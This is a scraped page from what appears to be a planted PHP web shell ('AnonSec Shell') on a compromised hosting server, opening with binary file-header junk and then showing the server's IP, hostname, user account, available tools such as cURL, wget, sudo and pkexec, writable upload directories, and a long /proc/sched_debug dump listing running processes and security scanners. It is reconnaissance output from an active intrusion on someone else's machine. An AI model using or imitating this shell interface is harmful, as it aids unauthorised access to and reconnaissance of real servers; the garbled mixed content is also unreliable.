%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-553.72.1.el8_10.x86_64 #1
ktime                                   : 2167909259.975158
sched_clk                               : 2167895560.678514
cpu_clk                                 : 2167895117.967862
jiffies                                 : 6462576555
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 66999867
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 3800.000 MHz
  .nr_running                    : 1
  .nr_switches                   : 1420747679
  .nr_uninterruptible            : 215881
  .next_balance                  : 6462.576577
  .curr->pid                     : 415190
  .clock                         : 2167895117.994124
  .clock_task                    : 2158837671.569958
  .avg_idle                      : 504717
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 726069489.590388
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -2504637753.735890
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 1282
  .runnable_avg                  : 1282
  .util_avg                      : 1030
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 1288
  .tg_load_avg                   : 18679
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 2158837671.569958
  .se->vruntime                  : 3230707243.326278
  .se->sum_exec_runtime          : 688530830.638038
  .se->load.weight               : 71990
  .se->avg.load_avg              : 70
  .se->avg.util_avg              : 1030
  .se->avg.runnable_avg          : 1282

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3230707243.326278
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 71990
  .load_avg                      : 190
  .runnable_avg                  : 1400
  .util_avg                      : 1031
  .util_est_enqueued             : 1008
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 I      rcu_par_gp     4        15.966235         2   100         0.000000         0.001628         0.000000 0 0 /
 I    slub_flushwq     5        17.966835         2   100         0.000000         0.001442         0.000000 0 0 /
 I    kworker/0:0H     7       498.157774         4   100         0.000000         0.009736         0.000000 0 0 /
 S rcu_tasks_rude_    11        26.722649         2   120         0.000000         0.003773         0.000000 0 0 /
 S rcu_tasks_trace    12        28.723549         2   120         0.000000         0.001604         0.000000 0 0 /
 S     ksoftirqd/0    13 3230707093.854085  22747219   120         0.000000    130778.261681         0.000000 0 0 /
 S     migration/0    15         0.000000   1267803     0         0.000000      8360.287581         0.000000 0 0 /
 S      watchdog/0    16         0.000000    541980     0         0.000000       349.748916         0.000000 0 0 /
 S         cpuhp/0    17      3726.145680        23   120         0.000000         0.511249         0.000000 0 0 /
 S            ksmd    75       389.380050         2   125         0.000000         0.000000         0.000000 0 0 /
 I     kintegrityd    78       389.380050         2   100         0.000000         0.000000         0.000000 0 0 /
 I         kblockd    79       389.380050         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    80       389.380050         2   100         0.000000         0.000000         0.000000 0 0 /
 I     edac-poller    86 2897132067.523785        15   100         0.000000         0.057921         0.000000 0 0 /
 S           ksgxd    90       424.995383         7   120         0.000000        23.611732         0.000000 0 0 /
 I        kthrotld   168 1476385582.673100         5   100         0.000000         0.036067         0.000000 0 0 /
 I   ipv6_addrconf   176       449.038139         2   100         0.000000         0.040294         0.000000 0 0 /
 I    kworker/0:1H   271 3230705004.873811  25971637   100         0.000000    120322.210323         0.000000 0 0 /
 S       scsi_eh_2   656      1804.418811        33   120         0.000000         1.765313         0.000000 0 0 /
 S       md4_raid1   772 3230357610.760647   1134008   120         0.000000     21346.296726         0.000000 0 0 /
 S   systemd-udevd   948 726059461.233414     18712   120         0.000000      1707.699599         0.000000 0 0 /system.slice
 I ipmi-msghandler   983      3021.746718         2   100         0.000000         0.005090         0.000000 0 0 /
 I          rpciod  1127      3948.468283         2   100         0.000000         0.026298         0.000000 0 0 /
 S         dovecot  1752 726066076.597326    636445   120         0.000000     20418.463303         0.000000 0 0 /system.slice
 S   rs:main Q:Reg  1848 726062460.893480   1371226   120         0.000000     41145.194752         0.000000 0 0 /system.slice
 S        gssproxy  1899      2507.393578         1   120         0.000000         0.005412         0.000000 0 0 /system.slice
 S        gssproxy  1900      2519.396999         1   120         0.000000         0.003428         0.000000 0 0 /system.slice
 S      tailwatchd  2037 726066240.242618   1265090   120         0.000000    244525.619742         0.000000 0 0 /system.slice
 S         polkitd  2531 726024083.392766    546112   120         0.000000     20113.074402         0.000000 0 0 /system.slice
 S       JS Helper  2697      4632.534918         2   120         0.000000         0.074846         0.000000 0 0 /system.slice
 S           anvil  2686 726067463.330234    523502   120         0.000000     13494.894259         0.000000 0 0 /system.slice
 S        agent360 1842070 726069053.059915   2191523   120         0.000000   3175908.860019         0.000000 0 0 /system.slice
 S    f2b/observer 1842137 726069443.213665  42665597   120         0.000000    889101.603444         0.000000 0 0 /system.slice
 S  ib_pg_flush_co 854528 726069310.650684  14420367   120         0.000000    322357.097064         0.000000 0 0 /system.slice
 S   ib_pg_flush-1 854529 726069310.731867   2248590   120         0.000000     69456.336294         0.000000 0 0 /system.slice
 S   ib_pg_flush-2 854530 726069310.428932   2243892   120         0.000000     69189.606750         0.000000 0 0 /system.slice
 S  ib_log_files_g 854550 726069468.026397  56996328   120         0.000000    822306.104184         0.000000 0 0 /system.slice
 S      connection 903670 726067316.343398   2903362   120         0.000000    815746.534979         0.000000 0 0 /system.slice
 S      connection 903673 726065451.021976   2908147   120         0.000000    811404.954974         0.000000 0 0 /system.slice
 S      connection 903678 726065130.724467   2880886   120         0.000000    786638.128709         0.000000 0 0 /system.slice
 S      connection 903750 726068744.554808   2922324   120         0.000000    803132.277053         0.000000 0 0 /system.slice
 S      connection 1226313 726064524.882050   2391374   120         0.000000    658463.341048         0.000000 0 0 /system.slice
 S      connection 1226315 726064526.362160   2421054   120         0.000000    668516.989718         0.000000 0 0 /system.slice
 S      connection 1226332 726000394.777179   2509783   120         0.000000    646058.017614         0.000000 0 0 /system.slice
 S      connection 1226364 726069475.239924   2543283   120         0.000000    683290.322194         0.000000 0 0 /system.slice
 S      connection 1226372 726068199.381095   2527058   120         0.000000    649229.735293         0.000000 0 0 /system.slice
 S      connection 1226411 726069266.642248   2372780   120         0.000000    668089.227608         0.000000 0 0 /system.slice
 S      connection 1226415 726066927.766522   2435585   120         0.000000    662354.885814         0.000000 0 0 /system.slice
 S      connection 2708270 726066215.706360   1145967   120         0.000000    324985.725484         0.000000 0 0 /system.slice
 S      connection 2708331 726066172.721786   1140526   120         0.000000    296744.496933         0.000000 0 0 /system.slice
 S         php-fpm 2458322 726069270.878410   2112176   120         0.000000    170788.667152         0.000000 0 0 /system.slice
 S cpanellogd - sl 2458709 725928597.570861      1862   138         0.000000       457.514039         0.000000 0 0 /system.slice
 S cPhulkd - dbpro 2458834 726065094.471891    633113   120         0.000000    721950.261742         0.000000 0 0 /system.slice
 S         defunct 3094132 726069351.789897    233100   120         0.000000      2952.928385         0.000000 0 0 /system.slice
 S             log 316232 726061105.190715       970   120         0.000000        40.980286         0.000000 0 0 /system.slice
 S     spamd child 329771 726027805.083153       583   120         0.000000      4903.031617         0.000000 0 0 /system.slice
 I   kworker/u16:3 365144 3229944133.117262     20488   120         0.000000      2083.343112         0.000000 0 0 /
 I     kworker/0:2 409016 3230218773.667520     15804   120         0.000000        93.427433         0.000000 0 0 /
 I     kworker/0:0 411049 3230219660.413310      6704   120         0.000000        40.281535         0.000000 0 0 /
 I   kworker/u16:1 413285 3230670604.984923        50   120         0.000000         3.790520         0.000000 0 0 /
 S         php-fpm 414205 725979919.776395       407   120         0.000000      1045.612847         0.000000 0 0 /system.slice
 S           httpd 414347 726069083.934040       742   120         0.000000        91.158987         0.000000 0 0 /system.slice
 S           httpd 414465 726069314.137753      1016   120         0.000000       112.068616         0.000000 0 0 /system.slice
 S           httpd 414471 726067594.357341       832   120         0.000000        22.777139         0.000000 0 0 /system.slice
 S           httpd 414555 726030181.883355       864   120         0.000000        37.053575         0.000000 0 0 /system.slice
 S           httpd 414711 726067681.019880       119   120         0.000000        61.297041         0.000000 0 0 /system.slice
 I     kworker/0:1 414723 3230707173.913950      2021   120         0.000000        14.055213         0.000000 0 0 /
 S            sshd 414753 726020316.928766         1   120         0.000000         1.740732         0.000000 0 0 /system.slice
 S           httpd 414789 726068362.980100       262   120         0.000000        22.040139         0.000000 0 0 /system.slice
 I     kworker/0:3 414799 3230219134.034005         3   120         0.000000         0.011058         0.000000 0 0 /
 S           httpd 414807 726025922.994592       811   120         0.000000        19.245281         0.000000 0 0 /system.slice
 S           httpd 414819 726068868.447739       833   120         0.000000        25.253894         0.000000 0 0 /system.slice
 S            sshd 414901 726037193.139587         4   120         0.000000         7.864263         0.000000 0 0 /system.slice
 S cPhulkd - proce 415013 726064922.901623        40   120         0.000000        26.207941         0.000000 0 0 /system.slice
 S         php-fpm 415107 726066228.119444       500   120         0.000000      1329.661885         0.000000 0 0 /system.slice
 S            imap 415155 726065921.585408        18   120         0.000000         9.980601         0.000000 0 0 /system.slice
 S            auth 415156 726060780.566626         4   120         0.000000        12.645377         0.000000 0 0 /system.slice
 S            imap 415162 726061130.393762         8   120         0.000000         9.267677         0.000000 0 0 /system.slice
>R         php-fpm 415190 726069489.590388       959   120         0.000000      4960.670981         0.000000 0 0 /system.slice
 S         php-fpm 415203 726064541.177671       165   120         0.000000       957.079787         0.000000 0 0 /system.slice
 S           httpd 415219 726069302.268273        15   120         0.000000        21.886223         0.000000 0 0 /system.slice
 S         php-fpm 415244 726069282.854939       135   120         0.000000       756.863827         0.000000 0 0 /system.slice
 S           httpd 415247 726069226.425161         3   120         0.000000        11.511321         0.000000 0 0 /system.slice

cpu#1, 3800.000 MHz
  .nr_running                    : 4
  .nr_switches                   : 1300316923
  .nr_uninterruptible            : 67566
  .next_balance                  : 6462.576561
  .curr->pid                     : 415194
  .clock                         : 2167895117.994880
  .clock_task                    : 2160951973.029151
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 773044368.651244
  .min_vruntime                  : 773044368.651244
  .max_vruntime                  : 773044374.317330
  .spread                        : 5.666086
  .spread0                       : -2457662874.675034
  .nr_spread_over                : 0
  .nr_running                    : 4
  .load                          : 4194304
  .load_avg                      : 4266
  .runnable_avg                  : 4267
  .util_avg                      : 1069
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 4277
  .tg_load_avg                   : 18679
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 2160951973.029151
  .se->vruntime                  : 3423484295.492411
  .se->sum_exec_runtime          : 735771896.349454
  .se->load.weight               : 239619
  .se->avg.load_avg              : 244
  .se->avg.util_avg              : 1069
  .se->avg.runnable_avg          : 4266

cfs_rq[1]:/user.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 365743317.959970
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -2864963925.366308
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_avg                  : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 7
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 2160951444.536497
  .se->vruntime                  : 3423481587.968258
  .se->sum_exec_runtime          : 7106347.461126
  .se->load.weight               : 1048576
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_avg          : 0

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3423484295.492411
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 192777052.166133
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 239619
  .load_avg                      : 252
  .runnable_avg                  : 4267
  .util_avg                      : 1069
  .util_est_enqueued             : 2039
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/app_version_detector.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice/rescan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice/aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-notifier.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice/Imunify-Scan-aibolit.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice/Imunify-Scan.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/Imunify.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/user.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/system.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/init.scope
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 0.000000

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         cpuhp/1    18      3141.159301        23   120         0.000000         0.635984         0.000000 0 0 /
 S      watchdog/1    19        -3.000000    541980     0         0.000000      1130.645732         0.000000 0 0 /
 S     migration/1    20         0.000000   1109554     0         0.000000      7224.449013         0.000000 0 0 /
 S     ksoftirqd/1    21 3423483169.986909  13484269   120         0.000000     98851.773224         0.000000 0 0 /
 I    kworker/1:0H    23       585.001069         4   100         0.000000         0.013879         0.000000 0 0 /
 S      khugepaged    76 3423455233.911090    523864   139         0.000000    429455.993134         0.000000 0 0 /
 I      tpm_dev_wq    83       116.879065         2   100         0.000000         0.000000         0.000000 0 0 /
 S       watchdogd    87        11.999994         2     0         0.000000         0.000000         0.000000 0 0 /
 I    kworker/1:1H   276 3423475948.830549  21625115   100         0.000000    105712.761537         0.000000 0 0 /
 I           ixgbe   624 3073173509.623225        30   100         0.000000         4.839093         0.000000 0 0 /
 S       scsi_eh_0   652      1028.090684        27   120         0.000000         1.434851         0.000000 0 0 /
 I      scsi_tmf_0   653      1026.067763         2   100         0.000000         0.043104         0.000000 0 0 /
 S       md3_raid1   775 3423458881.743638    230137   120         0.000000     12648.174671         0.000000 0 0 /
 S systemd-journal   909 773038065.066552   2010628   120         0.000000    350114.161354         0.000000 0 0 /system.slice
 S          auditd  1132 773001545.923467    247192   116         0.000000      4636.898729         0.000000 0 0 /system.slice
 S           gmain  1204       631.588580         1   120         0.000000         0.026723         0.000000 0 0 /system.slice
 S    in:imjournal  1843 773044345.697034   3063211   120         0.000000    212841.488518         0.000000 0 0 /system.slice
 I   kworker/u17:0  1804      4685.129187         2   100         0.000000         0.002964         0.000000 0 0 /
 I  ib-comp-unb-wq  1805      4697.131215         2   100         0.000000         0.002693         0.000000 0 0 /
 I        ib_mcast  1806      4709.133253         2   100         0.000000         0.002623         0.000000 0 0 /
 I     ib_nl_sa_wq  1807      4721.134954         2   100         0.000000         0.002520         0.000000 0 0 /
 S           gmain  2680      5592.368871         2   120         0.000000         0.041022         0.000000 0 0 /system.slice
 S            sshd 1842081 773043555.552478    466873   120         0.000000     55085.458760         0.000000 0 0 /system.slice
 S         systemd 3806097 365743309.857443    181434   120         0.000000     82758.183960         0.000000 0 0 /user.slice
 S         systemd 2225455 365743309.860120    144951   120         0.000000     61362.471816         0.000000 0 0 /user.slice
 S         defunct 2225539 365743306.914545   1037095   120         0.000000     11668.577822         0.000000 0 0 /user.slice
 S      connection 854642 773044346.284078   3048936   120         0.000000    813716.471248         0.000000 0 0 /system.slice
 S      connection 861776 773040650.981064   3035932   120         0.000000    813018.770080         0.000000 0 0 /system.slice
 S      connection 862934 773040602.634973   3034496   120         0.000000    812008.382020         0.000000 0 0 /system.slice
 S      connection 903667 773043287.222178   3096795   120         0.000000    772492.077127         0.000000 0 0 /system.slice
 S      connection 903743 773042413.989911   3032717   120         0.000000    808923.076652         0.000000 0 0 /system.slice
 S      connection 903744 773040748.830861   2903707   120         0.000000    800514.786515         0.000000 0 0 /system.slice
 S      connection 1202004 773040489.910672   2573965   120         0.000000    656169.392410         0.000000 0 0 /system.slice
 S      connection 1202076 773043009.377872   2454710   120         0.000000    658372.997217         0.000000 0 0 /system.slice
 S      connection 1226337 773041721.406745   2388025   120         0.000000    659984.161468         0.000000 0 0 /system.slice
 S      connection 1226413 773044338.649441   2512579   120         0.000000    636881.396486         0.000000 0 0 /system.slice
 S      connection 2708305 773044338.315798   1130631   120         0.000000    319754.895808         0.000000 0 0 /system.slice
 S imunify-agent-p 1387704 773036134.626591      7493   120         0.000000       291.172557         0.000000 0 0 /system.slice
 S imunify-agent-p 2386864 772940776.928761       641   120         0.000000        24.676831         0.000000 0 0 /system.slice
 S           tuned 1923119 773044345.696132  10422129   120         0.000000    214163.067747         0.000000 0 0 /system.slice
 S            nscd 2458525 772843883.542696     23890   120         0.000000      1547.338314         0.000000 0 0 /system.slice
 S            nscd 2458526 773043156.168190    243518   120         0.000000     42605.010355         0.000000 0 0 /system.slice
 S            nscd 3262648 773037932.116721     27504   120         0.000000      1668.424270         0.000000 0 0 /system.slice
 S      imap-login 316229 773036143.688063       557   120         0.000000        69.406125         0.000000 0 0 /system.slice
 S managesieve-log 316230 772709367.286115         9   120         0.000000         5.870554         0.000000 0 0 /system.slice
 S      pop3-login 316235 772928884.168097       376   120         0.000000        56.557159         0.000000 0 0 /system.slice
 S            imap 372086 773040792.768988       292   120         0.000000        35.173964         0.000000 0 0 /system.slice
 I     kworker/1:3 406587 3423481448.801890      4319   120         0.000000        13.836179         0.000000 0 0 /
 I     kworker/1:0 409112 3422934895.929052      2722   120         0.000000         7.038967         0.000000 0 0 /
 I     kworker/1:2 412784 3423051022.259176      2522   120         0.000000         7.838890         0.000000 0 0 /
 S           httpd 413590 773043946.422060      1020   120         0.000000       100.616912         0.000000 0 0 /system.slice
 S           httpd 414456 772974852.155514       669   120         0.000000        17.530279         0.000000 0 0 /system.slice
 S           httpd 414556 773042650.429670       933   120         0.000000        83.463228         0.000000 0 0 /system.slice
 S           httpd 414564 773044224.905544       938   120         0.000000        80.472990         0.000000 0 0 /system.slice
 S           httpd 414825 773042896.348578       877   120         0.000000        50.256124         0.000000 0 0 /system.slice
 S           httpd 414829 773043952.052983       917   120         0.000000        79.372729         0.000000 0 0 /system.slice
 S           httpd 414992 773043098.916214       181   120         0.000000        42.559537         0.000000 0 0 /system.slice
>R         php-fpm 415194 773044372.005746       716   120         0.000000      3982.174150         0.000000 0 0 /system.slice
 R         php-fpm 415195 773044368.651244       880   120         0.000000      5318.930484         0.000000 0 0 /system.slice
 R         php-fpm 415198 773044369.163351       792   120         0.000000      4635.546865         0.000000 0 0 /system.slice
 S           httpd 415226 773042414.455592         8   120         0.000000        18.075104         0.000000 0 0 /system.slice
 S         php-fpm 415230 773042421.237365       145   120         0.000000       130.917181         0.000000 0 0 /system.slice
 S         php-fpm 415235 773043026.865688        95   120         0.000000       464.626384         0.000000 0 0 /system.slice
 R         php-fpm 415246 773044374.317330        71   120         0.000000       450.773233         0.000000 0 0 /system.slice
 S           httpd 415248 773044337.888739         5   120         0.000000        15.385233         0.000000 0 0 /system.slice

cpu#2, 3800.000 MHz
  .nr_running                    : 4
  .nr_switches                   : 1376918158
  .nr_uninterruptible            : -28472
  .next_balance                  : 6462.576597
  .curr->pid                     : 415196
  .clock                         : 2167895117.993998
  .clock_task                    : 2160424827.900834
  .avg_idle                      : 789404
  .max_idle_balance_cost         : 500000

cfs_rq[2]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 731909240.621028
  .min_vruntime                  : 731909252.621028
  .max_vruntime                  : 731909275.440737
  .spread                        : 34.819709
  .spread0                       : -2498797990.705250
  .nr_spread_over                : 0
  .nr_running                    : 4
  .load                          : 4194304
  .load_avg                      : 3437
  .runnable_avg                  : 3437
  .util_avg                      : 1194
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 3458
  .tg_load_avg                   : 18679
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 2160424827.900834
  .se->vruntime                  : 3350364521.482225
  .se->sum_exec_runtime          : 695452054.020492
  .se->load.weight               : 222341
  .se->avg.load_avg              : 253
  .se->avg.util_avg              : 1194
  .se->avg.runnable_avg          : 3437

cfs_rq[2]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3350364521.482225
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 119657278.155947
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 222341
  .load_avg                      : 270
  .runnable_avg                  : 3449
  .util_avg                      : 1194
  .util_est_enqueued             : 1522
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[2]:/Imunify.slice/Scan.slice/aibolit.slice/background.slice
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
